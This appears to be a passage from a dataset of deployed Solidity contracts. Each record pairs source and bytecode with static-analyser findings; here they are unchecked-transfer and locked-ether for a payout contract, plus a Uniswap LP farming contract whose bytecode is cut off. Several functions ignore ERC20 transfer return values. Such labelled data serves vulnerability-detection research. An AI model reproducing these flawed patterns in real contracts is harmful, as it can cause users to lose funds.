payout(address[] calldata _recipients, uint256[] calldata _amounts) onlyAuthorized public { require(_recipients.length == _amounts.length, "Invalid array length"); for (uint256 i = 0; i < _recipients.length; i++) { token.transfer(_recipients[i], _amounts[i]); } } }
0x6080604052600436106100955760003560e01c8063b6a5d7de11610059578063b6a5d7de14610197578063b9181611146101c0578063c176e639146101fd578063f2fde38b14610226578063fc0c546a1461024f576100d5565b80632e1a7d4d146100da5780635705ae4314610103578063715018a61461012c5780637e95cd27146101435780638da5cb5b1461016c576100d5565b366100d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100cc906111a8565b60405180910390fd5b600080fd5b3480156100e657600080fd5b5061010160048036038101906100fc9190610f97565b61027a565b005b34801561010f57600080fd5b5061012a60048036038101906101259190610ebd565b6103b9565b005b34801561013857600080fd5b506101416104c7565b005b34801561014f57600080fd5b5061016a60048036038101906101659190610e94565b610601565b005b34801561017857600080fd5b5061018161074e565b60405161018e91906110ce565b60405180910390f35b3480156101a357600080fd5b506101be60048036038101906101b99190610e94565b610777565b005b3480156101cc57600080fd5b506101e760048036038101906101e29190610e94565b61084d565b6040516101f49190611112565b60405180910390f35b34801561020957600080fd5b50610224600480360381019061021f9190610ef9565b61086d565b005b34801561023257600080fd5b5061024d60048036038101906102489190610e94565b610aa5565b005b34801561025b57600080fd5b50610264610bea565b604051610271919061112d565b60405180910390f35b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610306576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102fd906111e8565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016103639291906110e9565b602060405180830381600087803b15801561037d57600080fd5b505af1158015610391573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103b59190610f6e565b5050565b6103c1610c10565b73ffffffffffffffffffffffffffffffffffffffff166103df61074e565b73ffffffffffffffffffffffffffffffffffffffff1614610435576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042c906111c8565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016104709291906110e9565b602060405180830381600087803b15801561048a57600080fd5b505af115801561049e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c29190610f6e565b505050565b6104cf610c10565b73ffffffffffffffffffffffffffffffffffffffff166104ed61074e565b73ffffffffffffffffffffffffffffffffffffffff1614610543576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053a906111c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610609610c10565b73ffffffffffffffffffffffffffffffffffffffff1661062761074e565b73ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610674906111c8565b60405180910390fd5b61068561074e565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90611188565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61077f610c10565b73ffffffffffffffffffffffffffffffffffffffff1661079d61074e565b73ffffffffffffffffffffffffffffffffffffffff16146107f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ea906111c8565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60016020528060005260406000206000915054906101000a900460ff1681565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166108f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f0906111e8565b60405180910390fd5b818190508484905014610941576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093890611148565b60405180910390fd5b60005b84849050811015610a9e57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8686848181106109c6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906109db9190610e94565b858585818110610a14577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201356040518363ffffffff1660e01b8152600401610a389291906110e9565b602060405180830381600087803b158015610a5257600080fd5b505af1158015610a66573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8a9190610f6e565b508080610a9690611285565b915050610944565b5050505050565b610aad610c10565b73ffffffffffffffffffffffffffffffffffffffff16610acb61074e565b73ffffffffffffffffffffffffffffffffffffffff1614610b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b18906111c8565b60405180910390fd5b600060016000610b2f61074e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610b8981610c18565b6001806000610b9661074e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b610c20610c10565b73ffffffffffffffffffffffffffffffffffffffff16610c3e61074e565b73ffffffffffffffffffffffffffffffffffffffff1614610c94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8b906111c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfb90611168565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081359050610dd08161143f565b92915050565b60008083601f840112610de857600080fd5b8235905067ffffffffffffffff811115610e0157600080fd5b602083019150836020820283011115610e1957600080fd5b9250929050565b60008083601f840112610e3257600080fd5b8235905067ffffffffffffffff811115610e4b57600080fd5b602083019150836020820283011115610e6357600080fd5b9250929050565b600081519050610e7981611456565b92915050565b600081359050610e8e8161146d565b92915050565b600060208284031215610ea657600080fd5b6000610eb484828501610dc1565b91505092915050565b60008060408385031215610ed057600080fd5b6000610ede85828601610dc1565b9250506020610eef85828601610e7f565b9150509250929050565b60008060008060408587031215610f0f57600080fd5b600085013567ffffffffffffffff811115610f2957600080fd5b610f3587828801610dd6565b9450945050602085013567ffffffffffffffff811115610f5457600080fd5b610f6087828801610e20565b925092505092959194509250565b600060208284031215610f8057600080fd5b6000610f8e84828501610e6a565b91505092915050565b600060208284031215610fa957600080fd5b6000610fb784828501610e7f565b91505092915050565b610fc981611219565b82525050565b610fd88161122b565b82525050565b610fe781611261565b82525050565b6000610ffa601483611208565b9150611005826112fd565b602082019050919050565b600061101d602683611208565b915061102882611326565b604082019050919050565b6000611040602183611208565b915061104b82611375565b604082019050919050565b6000611063601d83611208565b915061106e826113c4565b602082019050919050565b6000611086602083611208565b9150611091826113ed565b602082019050919050565b60006110a9600e83611208565b91506110b482611416565b602082019050919050565b6110c881611257565b82525050565b60006020820190506110e36000830184610fc0565b92915050565b60006040820190506110fe6000830185610fc0565b61110b60208301846110bf565b9392505050565b60006020820190506111276000830184610fcf565b92915050565b60006020820190506111426000830184610fde565b92915050565b6000602082019050818103600083015261116181610fed565b9050919050565b6000602082019050818103600083015261118181611010565b9050919050565b600060208201905081810360008301526111a181611033565b9050919050565b600060208201905081810360008301526111c181611056565b9050919050565b600060208201905081810360008301526111e181611079565b9050919050565b600060208201905081810360008301526112018161109c565b9050919050565b600082825260208201905092915050565b600061122482611237565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061126c82611273565b9050919050565b600061127e82611237565b9050919050565b600061129082611257565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156112c3576112c26112ce565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f496e76616c6964206172726179206c656e677468000000000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e6572206163636573732063616e6e6f7420626520666f7262696464656e60008201527f2100000000000000000000000000000000000000000000000000000000000000602082015250565b7f52656a656374696e672074782077697468206574686572732073656e74000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4e6f7420617574686f72697a6564000000000000000000000000000000000000600082015250565b61144881611219565b811461145357600080fd5b50565b61145f8161122b565b811461146a57600080fd5b50565b61147681611257565b811461148157600080fd5b5056fea2646970667358221220ae7b959d0310982e34c00670a372815da0d4bc832898f69e3b60a9877247c6d864736f6c63430008030033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
1,243
0xc066f695c28591ad0c9d853c6ad199aebec49790
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.7.0; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library TransferHelper { function safeApprove(address token, address to, uint value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IFarmFactory { function userEnteredFarm(address _user) external; function userLeftFarm(address _user) external; function registerFarm(address _farmAddress) external; } contract FarmUniswap { using SafeMath for uint256; using SafeERC20 for IERC20; /// @notice information stuct on each user than stakes LP tokens. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. } /// @notice all the settings for this farm in one struct struct FarmInfo { IERC20 lpToken; IERC20 rewardToken; uint256 startBlock; uint256 blockReward; uint256 bonusEndBlock; uint256 bonus; uint256 endBlock; uint256 lastRewardBlock; // Last block number that reward distribution occurs. uint256 accRewardPerShare; // Accumulated Rewards per share, times 1e12 uint256 farmableSupply; // set in init, total amount of tokens farmable uint256 numFarmers; } /// @notice farm type id. Useful for back-end systems to know how to read the contract (ABI) as we plan to launch multiple farm types uint256 public farmType = 1; IFarmFactory public factory; address public farmGenerator; FarmInfo public farmInfo; /// @notice information on each user than stakes LP tokens mapping (address => UserInfo) public userInfo; event Deposit(address indexed user, uint256 amount); event Withdraw(address indexed user, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 amount); constructor(address _factory, address _farmGenerator) public { factory = IFarmFactory(_factory); farmGenerator = _farmGenerator; } /** * @notice initialize the farming contract. This is called only once upon farm creation and the FarmGenerator ensures the farm has the correct paramaters */ function init(IERC20 _rewardToken, uint256 _amount, IERC20 _lpToken, uint256 _blockReward, uint256 _startBlock, uint256 _endBlock, uint256 _bonusEndBlock, uint256 _bonus) public { address msgSender = _msgSender(); require(msgSender == address(farmGenerator), 'FORBIDDEN'); TransferHelper.safeTransferFrom(address(_rewardToken), msgSender, address(this), _amount); farmInfo.rewardToken = _rewardToken; farmInfo.startBlock = _startBlock; farmInfo.blockReward = _blockReward; farmInfo.bonusEndBlock = _bonusEndBlock; farmInfo.bonus = _bonus; uint256 lastRewardBlock = block.number > _startBlock ? block.number : _startBlock; farmInfo.lpToken = _lpToken; farmInfo.lastRewardBlock = lastRewardBlock; farmInfo.accRewardPerShare = 0; farmInfo.endBlock = _endBlock; farmInfo.farmableSupply = _amount; } /** * @notice Gets the reward multiplier over the given _from_block until _to block * @param _from_block the start of the period to measure rewards for * @param _to the end of the period to measure rewards for * @return The weighted multiplier for the given period */ function getMultiplier(uint256 _from_block, uint256 _to) public view returns (uint256) { uint256 _from = _from_block >= farmInfo.startBlock ? _from_block : farmInfo.startBlock; uint256 to = farmInfo.endBlock > _to ? _to : farmInfo.endBlock; if (to <= farmInfo.bonusEndBlock) { return to.sub(_from).mul(farmInfo.bonus); } else if (_from >= farmInfo.bonusEndBlock) { return to.sub(_from); } else { return farmInfo.bonusEndBlock.sub(_from).mul(farmInfo.bonus).add( to.sub(farmInfo.bonusEndBlock) ); } } /** * @notice function to see accumulated balance of reward token for specified user * @param _user the user for whom unclaimed tokens will be shown * @return total amount of withdrawable reward tokens */ function pendingReward(address _user) external view returns (uint256) { UserInfo storage user = userInfo[_user]; uint256 accRewardPerShare = farmInfo.accRewardPerShare; uint256 lpSupply = farmInfo.lpToken.balanceOf(address(this)); if (block.number > farmInfo.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(farmInfo.lastRewardBlock, block.number); uint256 tokenReward = multiplier.mul(farmInfo.blockReward); accRewardPerShare = accRewardPerShare.add(tokenReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accRewardPerShare).div(1e12).sub(user.rewardDebt); } /** * @notice updates pool information to be up to date to the current block */ function updatePool() public { if (block.number <= farmInfo.lastRewardBlock) { return; } uint256 lpSupply = farmInfo.lpToken.balanceOf(address(this)); if (lpSupply == 0) { farmInfo.lastRewardBlock = block.number < farmInfo.endBlock ? block.number : farmInfo.endBlock; return; } uint256 multiplier = getMultiplier(farmInfo.lastRewardBlock, block.number); uint256 tokenReward = multiplier.mul(farmInfo.blockReward); farmInfo.accRewardPerShare = farmInfo.accRewardPerShare.add(tokenReward.mul(1e12).div(lpSupply)); farmInfo.lastRewardBlock = block.number < farmInfo.endBlock ? block.number : farmInfo.endBlock; } /** * @notice deposit LP token function for msgSender * @param _amount the total deposit amount */ function deposit(uint256 _amount) public { address msgSender = _msgSender(); UserInfo storage user = userInfo[msgSender]; updatePool(); if (user.amount > 0) { uint256 pending = user.amount.mul(farmInfo.accRewardPerShare).div(1e12).sub(user.rewardDebt); safeRewardTransfer(msgSender, pending); } if (user.amount == 0 && _amount > 0) { factory.userEnteredFarm(msgSender); farmInfo.numFarmers = farmInfo.numFarmers.add(1); } farmInfo.lpToken.safeTransferFrom(address(msgSender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(farmInfo.accRewardPerShare).div(1e12); emit Deposit(msgSender, _amount); } /** * @notice withdraw LP token function for msgSender * @param _amount the total withdrawable amount */ function withdraw(uint256 _amount) public { address msgSender = _msgSender(); UserInfo storage user = userInfo[msgSender]; require(user.amount >= _amount, "INSUFFICIENT"); updatePool(); if (user.amount == _amount && _amount > 0) { factory.userLeftFarm(msgSender); farmInfo.numFarmers = farmInfo.numFarmers.sub(1); } uint256 pending = user.amount.mul(farmInfo.accRewardPerShare).div(1e12).sub(user.rewardDebt); safeRewardTransfer(msgSender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(farmInfo.accRewardPerShare).div(1e12); farmInfo.lpToken.safeTransfer(address(msgSender), _amount); emit Withdraw(msgSender, _amount); } /** * @notice emergency functoin to withdraw LP tokens and forego harvest rewards. Important to protect users LP tokens */ function emergencyWithdraw() public { address msgSender = _msgSender(); UserInfo storage user = userInfo[msgSender]; farmInfo.lpToken.safeTransfer(address(msgSender), user.amount); emit EmergencyWithdraw(msgSender, user.amount); if (user.amount > 0) { factory.userLeftFarm(msgSender); farmInfo.numFarmers = farmInfo.numFarmers.sub(1); } user.amount = 0; user.rewardDebt = 0; } /** * @notice Safe reward transfer function, just in case a rounding error causes pool to not have enough reward tokens * @param _to the user address to transfer tokens to * @param _amount the total amount of tokens to transfer */ function safeRewardTransfer(address _to, uint256 _amount) internal { uint256 rewardBal = farmInfo.rewardToken.balanceOf(address(this)); if (_amount > rewardBal) { farmInfo.rewardToken.transfer(_to, rewardBal); } else { farmInfo.rewardToken.transfer(_to, _amount); } } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } }
0x608060405234801561001057600080fd5b50600436106100d45760003560e01c8063b20268c211610081578063db2e21bc1161005b578063db2e21bc146102ae578063e3161ddd146102b6578063f40f0f52146102be576100d4565b8063b20268c214610229578063b6b55f2514610289578063c45a0155146102a6576100d4565b80632e1a7d4d116100b25780632e1a7d4d146101cd5780632ebed9ec146101ec5780638dbb1e3a14610206576100d4565b80631959a002146100d95780631d49d66c146101255780632dd999961461019c575b600080fd5b61010c600480360360208110156100ef57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166102f1565b6040805192835260208301919091528051918290030190f35b61012d61030a565b6040805173ffffffffffffffffffffffffffffffffffffffff9c8d1681529a909b1660208b0152898b01989098526060890196909652608088019490945260a087019290925260c086015260e08501526101008401526101208301526101408201529051908190036101600190f35b6101a461034b565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6101ea600480360360208110156101e357600080fd5b5035610367565b005b6101f46105af565b60408051918252519081900360200190f35b6101f46004803603604081101561021c57600080fd5b50803590602001356105b5565b6101ea600480360361010081101561024057600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020810135916040820135169060608101359060808101359060a08101359060c08101359060e0013561065b565b6101ea6004803603602081101561029f57600080fd5b50356107c2565b6101a4610995565b6101ea6109b1565b6101ea610af9565b6101f4600480360360208110156102d457600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610c2c565b600e602052600090815260409020805460019091015482565b600354600454600554600654600754600854600954600a54600b54600c54600d5473ffffffffffffffffffffffffffffffffffffffff9a8b169a909916988b565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b6000610371610d73565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600e6020526040902080549192509083111561040a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f494e53554646494349454e540000000000000000000000000000000000000000604482015290519081900360640190fd5b610412610af9565b8054831480156104225750600083115b156104c657600154604080517f76cb255400000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8581166004830152915191909216916376cb255491602480830192600092919082900301818387803b15801561049b57600080fd5b505af11580156104af573d6000803e3d6000fd5b5050600d546104c2925090506001610d77565b600d555b600061050182600101546104fb64e8d4a510006104f56003600801548760000154610dc090919063ffffffff16565b90610e33565b90610d77565b905061050d8382610e75565b81546105199085610d77565b808355600b546105349164e8d4a51000916104f59190610dc0565b600183015560035461055d9073ffffffffffffffffffffffffffffffffffffffff168486611084565b60408051858152905173ffffffffffffffffffffffffffffffffffffffff8516917f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364919081900360200190a250505050565b60005481565b6000806003600201548410156105cd576005546105cf565b835b9050600083600360060154116105e7576009546105e9565b835b60075490915081116106155760085461060c906106068385610d77565b90610dc0565b92505050610655565b60075482106106285761060c8183610d77565b60075461060c9061063a908390610d77565b60085460075461064f91906106069087610d77565b90611111565b92915050565b6000610665610d73565b60025490915073ffffffffffffffffffffffffffffffffffffffff8083169116146106f157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f464f5242494444454e0000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6106fd8982308b611185565b600480547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8b16179055600585905560068690556007839055600882905560004386106107605785610762565b435b600380547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9a909a1699909917909855505050600a949094556000600b55600955505050600c5550565b60006107cc610d73565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600e602052604090209091506107fc610af9565b80541561084057600061083282600101546104fb64e8d4a510006104f56003600801548760000154610dc090919063ffffffff16565b905061083e8382610e75565b505b805415801561084f5750600083115b156108f357600154604080517f79cdf99b00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8581166004830152915191909216916379cdf99b91602480830192600092919082900301818387803b1580156108c857600080fd5b505af11580156108dc573d6000803e3d6000fd5b5050600d546108ef925090506001611111565b600d555b6003546109189073ffffffffffffffffffffffffffffffffffffffff16833086611355565b80546109249084611111565b808255600b5461093f9164e8d4a51000916104f59190610dc0565b600182015560408051848152905173ffffffffffffffffffffffffffffffffffffffff8416917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a2505050565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60006109bb610d73565b73ffffffffffffffffffffffffffffffffffffffff8082166000908152600e60205260409020805460035493945090926109f89216908490611084565b8054604080519182525173ffffffffffffffffffffffffffffffffffffffff8416917f5fafa99d0643513820be26656b45130b01e1c03062e1266bf36f88cbd3bd9695919081900360200190a2805415610aeb57600154604080517f76cb255400000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8581166004830152915191909216916376cb255491602480830192600092919082900301818387803b158015610ac057600080fd5b505af1158015610ad4573d6000803e3d6000fd5b5050600d54610ae7925090506001610d77565b600d555b600080825560019091015550565b600a544311610b0757610c2a565b600354604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905160009273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015610b7857600080fd5b505afa158015610b8c573d6000803e3d6000fd5b505050506040513d6020811015610ba257600080fd5b5051905080610bc7576009544310610bbc57600954610bbe565b435b600a5550610c2a565b6000610bd8600360070154436105b5565b600654909150600090610bec908390610dc0565b9050610c0d610c04846104f58464e8d4a51000610dc0565b600b5490611111565b600b556009544310610c2157600954610c23565b435b600a555050505b565b73ffffffffffffffffffffffffffffffffffffffff8082166000908152600e60209081526040808320600b5460035483517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529351959692959194879491909316926370a0823192602480840193829003018186803b158015610cb557600080fd5b505afa158015610cc9573d6000803e3d6000fd5b505050506040513d6020811015610cdf57600080fd5b5051600a5490915043118015610cf457508015155b15610d42576000610d0a600360070154436105b5565b600654909150600090610d1e908390610dc0565b9050610d3d610d36846104f58464e8d4a51000610dc0565b8590611111565b935050505b610d6a83600101546104fb64e8d4a510006104f5868860000154610dc090919063ffffffff16565b95945050505050565b3390565b6000610db983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113f0565b9392505050565b600082610dcf57506000610655565b82820282848281610ddc57fe5b0414610db9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117e26021913960400191505060405180910390fd5b6000610db983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114a1565b60048054604080517f70a0823100000000000000000000000000000000000000000000000000000000815230938101939093525160009273ffffffffffffffffffffffffffffffffffffffff909216916370a08231916024808301926020929190829003018186803b158015610eea57600080fd5b505afa158015610efe573d6000803e3d6000fd5b505050506040513d6020811015610f1457600080fd5b5051905080821115610fd25760048054604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff87811694820194909452602481018590529051929091169163a9059cbb916044808201926020929091908290030181600087803b158015610fa057600080fd5b505af1158015610fb4573d6000803e3d6000fd5b505050506040513d6020811015610fca57600080fd5b5061107f9050565b60048054604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff87811694820194909452602481018690529051929091169163a9059cbb916044808201926020929091908290030181600087803b15801561105257600080fd5b505af1158015611066573d6000803e3d6000fd5b505050506040513d602081101561107c57600080fd5b50505b505050565b6040805173ffffffffffffffffffffffffffffffffffffffff8416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb0000000000000000000000000000000000000000000000000000000017905261107f908490611520565b600082820183811015610db957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6040805173ffffffffffffffffffffffffffffffffffffffff85811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd0000000000000000000000000000000000000000000000000000000017815292518251600094606094938a169392918291908083835b6020831061126357805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101611226565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146112c5576040519150601f19603f3d011682016040523d82523d6000602084013e6112ca565b606091505b50915091508180156112f85750805115806112f857508080602001905160208110156112f557600080fd5b50515b61134d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061182d6024913960400191505060405180910390fd5b505050505050565b6040805173ffffffffffffffffffffffffffffffffffffffff80861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd000000000000000000000000000000000000000000000000000000001790526113ea908590611520565b50505050565b60008184841115611499576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561145e578181015183820152602001611446565b50505050905090810190601f168015611